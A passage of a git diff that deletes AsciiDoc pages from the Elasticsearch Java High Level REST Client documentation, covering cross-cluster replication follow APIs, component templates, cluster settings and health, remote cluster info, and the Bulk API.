-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ always includes index follow statistics of all follow indices and
-auto follow statistics.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The follow stats of active follower indices.
-<2> The auto follow stats of the cluster that has been queried.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ccr/pause_auto_follow_pattern.asciidoc b/docs/java-rest/high-level/ccr/pause_auto_follow_pattern.asciidoc
deleted file mode 100644
index 2d40e4e9c4a..00000000000
--- a/docs/java-rest/high-level/ccr/pause_auto_follow_pattern.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
---
-:api: ccr-pause-auto-follow-pattern
-:request: PauseAutoFollowPatternRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Pause Auto Follow Pattern API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Pause Auto Follow Pattern API allows you to pause an existing auto follow pattern.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the auto follow pattern.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the pause auto follow pattern request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the pause auto follow pattern request was acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ccr/pause_follow.asciidoc b/docs/java-rest/high-level/ccr/pause_follow.asciidoc
deleted file mode 100644
index 70694da0e81..00000000000
--- a/docs/java-rest/high-level/ccr/pause_follow.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: ccr-pause-follow
-:request: PauseFollowRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Pause Follow API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Pause Follow API allows you to pause following by follow index name.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of follow index.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the pause follow request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the pause follow was acknowledge.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ccr/put_auto_follow_pattern.asciidoc b/docs/java-rest/high-level/ccr/put_auto_follow_pattern.asciidoc
deleted file mode 100644
index a57b26738a4..00000000000
--- a/docs/java-rest/high-level/ccr/put_auto_follow_pattern.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: ccr-put-auto-follow-pattern
-:request: PutAutoFollowPatternRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put Auto Follow Pattern API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Put Auto Follow Pattern API allows you to store auto follow patterns in order
-to automatically follow leader indices in a remote clusters matching certain
-index name patterns.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the auto follow pattern.
-<2> The name of the remote cluster.
-<3> The leader index patterns.
-<4> The pattern used to create the follower index
-<5> The settings overrides for the follower index
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the put auto follow pattern request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the put auto follow pattern request was acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ccr/put_follow.asciidoc b/docs/java-rest/high-level/ccr/put_follow.asciidoc
deleted file mode 100644
index 68b0d4fbddc..00000000000
--- a/docs/java-rest/high-level/ccr/put_follow.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
---
-:api: ccr-put-follow
-:request: PutFollowRequest
-:response: PutFollowResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put Follow API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Put Follow API allows creates a follower index and make that index follow a leader index.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the remote cluster alias.
-<2> The name of the leader in the remote cluster.
-<3> The name of the follower index that gets created as part of the put follow API call.
-<4> The number of active shard copies to wait for before the put follow API returns a
-response, as an `ActiveShardCount`
-<5> The settings overrides for the follower index.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the put follow request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether the follower index was created.
-<2> Whether the follower shards are started.
-<3> Whether the follower index started following the leader index.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ccr/resume_auto_follow_pattern.asciidoc b/docs/java-rest/high-level/ccr/resume_auto_follow_pattern.asciidoc
deleted file mode 100644
index 8bc24ead277..00000000000
--- a/docs/java-rest/high-level/ccr/resume_auto_follow_pattern.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
---
-:api: ccr-resume-auto-follow-pattern
-:request: ResumeAutoFollowPatternRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Resume Auto Follow Pattern API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Resume Auto Follow Pattern API allows you to resume the activity
- for a pause auto follow pattern.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the auto follow pattern.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the resume auto follow pattern request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the resume auto follow pattern request was acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ccr/resume_follow.asciidoc b/docs/java-rest/high-level/ccr/resume_follow.asciidoc
deleted file mode 100644
index e30f83115fa..00000000000
--- a/docs/java-rest/high-level/ccr/resume_follow.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: ccr-resume-follow
-:request: ResumeFollowRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Resume Follow API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Resume Follow API allows you to resume following a follower index that has been paused.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of follower index.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the resume follow request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the resume follow was acknowledged.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ccr/unfollow.asciidoc b/docs/java-rest/high-level/ccr/unfollow.asciidoc
deleted file mode 100644
index 946a2c6e618..00000000000
--- a/docs/java-rest/high-level/ccr/unfollow.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: ccr-unfollow
-:request: UnfollowRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Unfollow API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Unfollow API allows you to unfollow a follower index and make it a regular index.
-Note that the follower index needs to be paused and the follower index needs to be closed.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of follow index to unfollow.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the unfollow request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the unfollow was acknowledge.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/cluster/delete_component_template.asciidoc b/docs/java-rest/high-level/cluster/delete_component_template.asciidoc
deleted file mode 100644
index 9655123d9a0..00000000000
--- a/docs/java-rest/high-level/cluster/delete_component_template.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
---
-:api: delete-component-template
-:request: DeleteComponentTemplateRequest
-:response: AcknowledgedResponse
---
-
-[id="{upid}-{api}"]
-=== Delete Component Template API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Delete Component Template API allows you to delete a component template.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the component template to delete.
-
-=== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the delete component template request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the delete component template request was acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/cluster/get_component_template.asciidoc b/docs/java-rest/high-level/cluster/get_component_template.asciidoc
deleted file mode 100644
index f112431b0c2..00000000000
--- a/docs/java-rest/high-level/cluster/get_component_template.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
---
-:api: get-component-templates
-:request: GetComponentTemplatesRequest
-:response: GetComponentTemplatesResponse
---
-
-[id="{upid}-{api}"]
-=== Get Component Templates API
-
-The Get Component Templates API allows to retrieve information about one or more component templates.
-
-[id="{upid}-{api}-request"]
-==== Get Component Templates Request
-
-A +{request}+ specifies one component template name to retrieve.
-To return all component templates omit the name altogether.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> A single component template name
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Component Templates Response
-
-The returned +{response}+ consists a map of component template names and their corresponding definition.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> A map of matching component template names and the corresponding definitions
diff --git a/docs/java-rest/high-level/cluster/get_settings.asciidoc b/docs/java-rest/high-level/cluster/get_settings.asciidoc
deleted file mode 100644
index 407d33f8fc8..00000000000
--- a/docs/java-rest/high-level/cluster/get_settings.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
---
-:api: get-settings
-:request: ClusterGetSettingsRequest
-:response: ClusterGetSettingsResponse
---
-
-[id="{upid}-{api}"]
-=== Cluster Get Settings API
-
-The Cluster Get Settings API allows to get the cluster wide settings.
-
-[id="{upid}-{api}-request"]
-==== Cluster Get Settings Request
-
-A +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-includeDefaults]
---------------------------------------------------
-<1> By default only those settings that were explicitly set are returned. Setting this to true also returns
-the default settings.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-local]
---------------------------------------------------
-<1> By default the request goes to the master of the cluster to get the latest results. If local is specified it gets
-the results from whichever node the request goes to.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Cluster Get Settings Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Get the persistent settings.
-<2> Get the transient settings.
-<3> Get the default settings (returns empty settings if `includeDefaults` was not set to `true`).
-<4> Get the value as a `String` for a particular setting. The order of searching is first in `persistentSettings` then in
-`transientSettings` and finally, if not found in either, in `defaultSettings`.
-
diff --git a/docs/java-rest/high-level/cluster/health.asciidoc b/docs/java-rest/high-level/cluster/health.asciidoc
deleted file mode 100644
index 06163fca52d..00000000000
--- a/docs/java-rest/high-level/cluster/health.asciidoc
+++ /dev/null
@@ -1,177 +0,0 @@
---
-:api: health
-:request: ClusterHealthRequest
-:response: ClusterHealthResponse
---
-
-[id="{upid}-{api}"]
-=== Cluster Health API
-
-The Cluster Health API allows getting cluster health.
-
-[id="{upid}-{api}-request"]
-==== Cluster Health Request
-
-A +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-There are no required parameters. By default, the client will check all indices and will not wait
-for any events.
-
-==== Indices
-
-Indices which should be checked can be passed in the constructor:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indices-ctr]
---------------------------------------------------
-
-Or using the corresponding setter method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indices-setter]
---------------------------------------------------
-
-==== Other parameters
-
-Other parameters can be passed only through setter methods:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout for the request as a `TimeValue`. Defaults to 30 seconds
-<2> As a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-master-timeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`. Defaults to the same as `timeout`
-<2> As a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-wait-status]
---------------------------------------------------
-<1> The status to wait (e.g. `green`, `yellow`, or `red`). Accepts a `ClusterHealthStatus` value.
-<2> Using predefined method
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-wait-events]
---------------------------------------------------
-<1> The priority of the events to wait for. Accepts a `Priority` value.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-level]
---------------------------------------------------
-<1> The level of detail of the returned health information. Accepts a +{request}.Level+ value.
-Default value is `cluster`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-wait-relocation]
---------------------------------------------------
-<1> Wait for 0 relocating shards. Defaults to `false`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-wait-initializing]
---------------------------------------------------
-<1> Wait for 0 initializing shards. Defaults to `false`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-wait-nodes]
---------------------------------------------------
-<1> Wait for `N` nodes in the cluster. Defaults to `0`
-<2> Using `>=N`, `<=N`, `>N` and `<N` notation
-<3> Using `ge(N)`, `le(N)`, `gt(N)`, `lt(N)` notation
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-wait-active]
---------------------------------------------------
-
-<1> Wait for all shards to be active in the cluster
-<2> Wait for `N` shards to be active in the cluster
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-local]
---------------------------------------------------
-<1> Non-master node can be used for this request. Defaults to `false`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Cluster Health Response
-
-The returned +{response}+ contains the next information about the
-cluster:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-general]
---------------------------------------------------
-<1> Name of the cluster
-<2> Cluster status (`green`, `yellow` or `red`)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-request-status]
---------------------------------------------------
-<1> Whether request was timed out while processing
-<2> Status of the request (`OK` or `REQUEST_TIMEOUT`). Other errors will be thrown as exceptions
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-nodes]
---------------------------------------------------
-<1> Number of nodes in the cluster
-<2> Number of data nodes in the cluster
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-shards]
---------------------------------------------------
-<1> Number of active shards
-<2> Number of primary active shards
-<3> Number of relocating shards
-<4> Number of initializing shards
-<5> Number of unassigned shards
-<6> Number of unassigned shards that are currently being delayed
-<7> Percent of active shards
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-task]
---------------------------------------------------
-<1> Maximum wait time of all tasks in the queue
-<2> Number of currently pending tasks
-<3> Number of async fetches that are currently ongoing
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-indices]
---------------------------------------------------
-<1> Detailed information about indices in the cluster
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-index]
---------------------------------------------------
-<1> Detailed information about a specific index
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-shard-details]
---------------------------------------------------
-<1> Detailed information about a specific shard
\ No newline at end of file
diff --git a/docs/java-rest/high-level/cluster/put_component_template.asciidoc b/docs/java-rest/high-level/cluster/put_component_template.asciidoc
deleted file mode 100644
index 10858f3b4fa..00000000000
--- a/docs/java-rest/high-level/cluster/put_component_template.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
---
-:api: put-component-template
-:request: PutComponentTemplateRequest
-:response: AcknowledgedResponse
---
-
-[id="{upid}-{api}"]
-=== Put Component Template API
-
-The Put Component Template API allows to create or change a component template.
-
-[id="{upid}-{api}-request"]
-==== Put Component Template Request
-
-A +{request}+ specifies the name of the component template and the template definition,
-which can consist of the settings, mappings or aliases, together with a version (which
-can be used to simply component template management by external systems) and a metadata
-map consisting of user specific information.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the component template
-<2> Template configuration containing the settings, mappings and aliases for this component template
-
-===== Version
-A component template can optionally specify a version number which can be used to simplify template
-management by external systems.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version]
---------------------------------------------------
-<1> The version number of the template
-
-=== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-create]
---------------------------------------------------
-<1> To force to only create a new template; do not overwrite the existing template
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Put Component Templates Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
diff --git a/docs/java-rest/high-level/cluster/put_settings.asciidoc b/docs/java-rest/high-level/cluster/put_settings.asciidoc
deleted file mode 100644
index bc9abc62456..00000000000
--- a/docs/java-rest/high-level/cluster/put_settings.asciidoc
+++ /dev/null
@@ -1,93 +0,0 @@
---
-:api: put-settings
-:request: ClusterUpdateSettingsRequest
-:response: ClusterUpdateSettingsResponse
---
-
-[id="{upid}-{api}"]
-=== Cluster Update Settings API
-
-The Cluster Update Settings API allows to update cluster wide settings.
-
-[id="{upid}-{api}-request"]
-==== Cluster Update Settings Request
-
-A +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-==== Cluster Settings
-At least one setting to be updated must be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-cluster-settings]
---------------------------------------------------
-<1> Sets the transient settings to be applied
-<2> Sets the persistent setting to be applied
-
-==== Providing the Settings
-The settings to be applied can be provided in different ways:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-create-settings]
---------------------------------------------------
-<1> Creates a transient setting as `Settings`
-<2> Creates a persistent setting as `Settings`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-settings-builder]
---------------------------------------------------
-<1> Settings provided as `Settings.Builder`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-settings-source]
---------------------------------------------------
-<1> Settings provided as `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-settings-map]
---------------------------------------------------
-<1> Settings provided as a `Map`
-
-==== Optional Arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the settings were applied
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the settings were applied
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Cluster Update Settings Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates which transient settings have been applied
-<3> Indicates which persistent settings have been applied
diff --git a/docs/java-rest/high-level/cluster/remote_info.asciidoc b/docs/java-rest/high-level/cluster/remote_info.asciidoc
deleted file mode 100644
index 6496a04a3a7..00000000000
--- a/docs/java-rest/high-level/cluster/remote_info.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
---
-:api: remote-info
-:request: RemoteInfoRequest
-:response: RemoteInfoResponse
---
-
-[id="{upid}-{api}"]
-=== Remote Cluster Info API
-
-The Remote cluster info API allows to get all of the configured remote cluster information.
-
-[id="{upid}-{api}-request"]
-==== Remote Cluster Info Request
-
-A +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-There are no required parameters.
-
-==== Remote Cluster Info Response
-
-The returned +{response}+ allows to retrieve remote cluster information.
-It returns connection and endpoint information keyed by the configured remote cluster alias.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/document/bulk.asciidoc b/docs/java-rest/high-level/document/bulk.asciidoc
deleted file mode 100644
index 061516388c4..00000000000
--- a/docs/java-rest/high-level/document/bulk.asciidoc
+++ /dev/null
@@ -1,217 +0,0 @@
---
-:api: bulk
-:request: BulkRequest
-:response: BulkResponse
---
-
-[id="{upid}-{api}"]
-=== Bulk API
-
-NOTE: The Java High Level REST Client provides the
-<<{upid}-{api}-processor>> to assist with bulk requests.
-
-[id="{upid}-{api}-request"]
-==== Bulk Request
-
-A +{request}+ can be used to execute multiple index, update and/or delete
-operations using a single request.
-
-It requires at least one operation to be added to the Bulk request:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Creates the +{request}+
-<2> Adds a first `IndexRequest` to the Bulk request. See <<{upid}-index>> for
-more information on how to build `IndexRequest`.
-<3> Adds a second `IndexRequest`
-<4> Adds a third `IndexRequest`
-
-WARNING: The Bulk API supports only documents encoded in JSON or SMILE.
-Providing documents in any other format will result in an error.
-
-And different operation types can be added to the same +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-with-mixed-operations]
---------------------------------------------------
-<1> Adds a `DeleteRequest` to the +{request}+. See <<{upid}-delete>>
-for more information on how to build `DeleteRequest`.
-<2> Adds an `UpdateRequest` to the +{request}+. See <<{upid}-update>>
-for more information on how to build `UpdateRequest`.
-<3> Adds an `IndexRequest` using the SMILE format
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the bulk request to be performed as a `TimeValue`
-<2> Timeout to wait for the bulk request to be performed as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Refresh policy as a `WriteRequest.RefreshPolicy` instance
-<2> Refresh policy as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-active-shards]
---------------------------------------------------
-<1> Sets the number of shard copies that must be active before proceeding with
-the index/update/delete operations.
-<2> Number of shard copies provided as a `ActiveShardCount`: can be
-`ActiveShardCount.ALL`, `ActiveShardCount.ONE` or
-`ActiveShardCount.DEFAULT` (default)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-pipeline]
---------------------------------------------------
-<1> Global pipelineId used on all sub requests, unless overridden on a sub request
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> Global routingId used on all sub requests, unless overridden on a sub request
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-index-type]
---------------------------------------------------
-<1> A bulk request with a global index used on all sub requests, unless overridden on a sub request.
-This parameter is @Nullable and can only be set during +{request}+ creation.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Bulk Response
-
-The returned +{response}+ contains information about the executed operations and
- allows to iterate over each result as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Iterate over the results of all operations
-<2> Retrieve the response of the operation (successful or not), can be
-`IndexResponse`, `UpdateResponse` or `DeleteResponse` which can all be seen as
-`DocWriteResponse` instances
-<3> Handle the response of an index operation
-<4> Handle the response of a update operation
-<5> Handle the response of a delete operation
-
-The Bulk response provides a method to quickly check if one or more operation
-has failed:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-has-failures]
---------------------------------------------------
-<1> This method returns `true` if at least one operation failed
-
-In such situation it is necessary to iterate over all operation results in order
-to check if the operation failed, and if so, retrieve the corresponding failure:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-errors]
---------------------------------------------------
-<1> Indicate if a given operation failed
-<2> Retrieve the failure of the failed operation
-
-[id="{upid}-{api}-processor"]
-==== Bulk Processor
-
-The `BulkProcessor` simplifies the usage of the Bulk API by providing
-a utility class that allows index/update/delete operations to be
-transparently executed as they are added to the processor.
-
-In order to execute the requests, the `BulkProcessor` requires the following
-components:
-
-`RestHighLevelClient`:: This client is used to execute the +{request}+
-and to retrieve the `BulkResponse`
-`BulkProcessor.Listener`:: This listener is called before and after
-every +{request}+ execution or when a +{request}+ failed
-
-Then the `BulkProcessor.builder` method can be used to build a new
-`BulkProcessor`:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-processor-init]
---------------------------------------------------
-<1> Create the `BulkProcessor.Listener`
-<2> This method is called before each execution of a +{request}+
-<3> This method is called after each execution of a +{request}+
-<4> This method is called when a +{request}+ failed
-<5> Create the `BulkProcessor` by calling the `build()` method from
-the `BulkProcessor.Builder`. The `RestHighLevelClient.bulkAsync()`
-method will be used to execute the +{request}+ under the hood.
-
-The `BulkProcessor.Builder` provides methods to configure how the
